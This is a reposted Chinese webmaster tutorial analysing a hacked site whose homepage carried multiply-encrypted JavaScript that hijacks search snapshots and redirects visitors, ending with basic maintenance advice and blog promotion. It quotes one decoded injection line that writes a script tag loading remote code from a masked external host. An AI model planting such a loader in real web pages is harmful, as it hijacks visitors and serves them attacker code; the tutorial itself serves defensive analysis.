黑基网 首页 学院 网络安全 查看内容

网站被黑JS快照被劫持恢复分析教程!

2017-9-17 09:58| 投稿: xiaotiger |来自: 互联网

摘要: 站长们经常遇到js快照劫持的问题,对网站的优化带来及大的影响。对于大多数新手站长来说js快照劫持,束手无策。今天无忧老师为大家进行一轮深度的解析。网站安全被黑一,js快照劫持示例js快照劫持演示图,记录了是网 ...

站长们经常遇到js快照劫持的问题,对网站的优化带来及大的影响。对于大多数新手站长来说js快照劫持,束手无策。今天无忧老师为大家进行一轮深度的解析。

网站安全被黑

一,js快照劫持示例

js快照劫持演示图,记录了是网站跳转的。

一个是百度搜索快照劫持演示。另一个是搜狐搜索快照劫持演示。

JS快照劫持,百度搜索演示图

JS快照劫持,百度搜索演示图

JS快照劫持,搜狐搜索演示图

二,分析js快照劫持代码

经分析,网站首页被植入了恶意了代码,而且是多次加密JS代码。

加密JS代码

此段代码就是添加在网站首页的JS,而且属于了加密了的代码,一般看不出什么猫腻。

三,加密JS层层分析

接下来进行JS反向解析分析。可以使用站长工具在线分析:http://tool.chinaz.com/js.aspx

站长工具JS混淆加密压缩 截图

解析后,可以看到真面目,这段代码。

< script type = “text/javascript” >

document.writeln(“<script src=www.隐藏.com/main2.js></script>”); < /script>

打开这个main2.js可以看到一段落代码。

JS恶意代码二次加密

攻击者真的多有精力,层层加密啊。怪不得一般站长根本无法发现。

然后再进行解密。

被加密的JS恶意代码解析图

这下大家应该清楚了,攻击者对代码进行了3次的加密再调用,来实现百度快照的JS劫持跳转。

四,网站安全建议

网站安全一直是一个让站长运营者头痛的问题,没有百分百安全的网站,只有一断的进行维护和优化,做到定期备份,定期检查,最大程度的杜绝网站被黑被劫持的风险。希望各位站长清楚并且牢记在心。

数据与安全

如果想要?我把整个JS快照劫持代码分析给大家。

最后,在我的课程中也经常会分享一些网站安全小知识,请大家一定关注我的SEO博客,不断的分析干货教程和文章。

文章由SEO技术博客 无忧老师分享,转载请注明出处https://www.ainiseo.com 感谢你的阅读。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:http://www.toutiao.com/i6465646962212340238/

免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部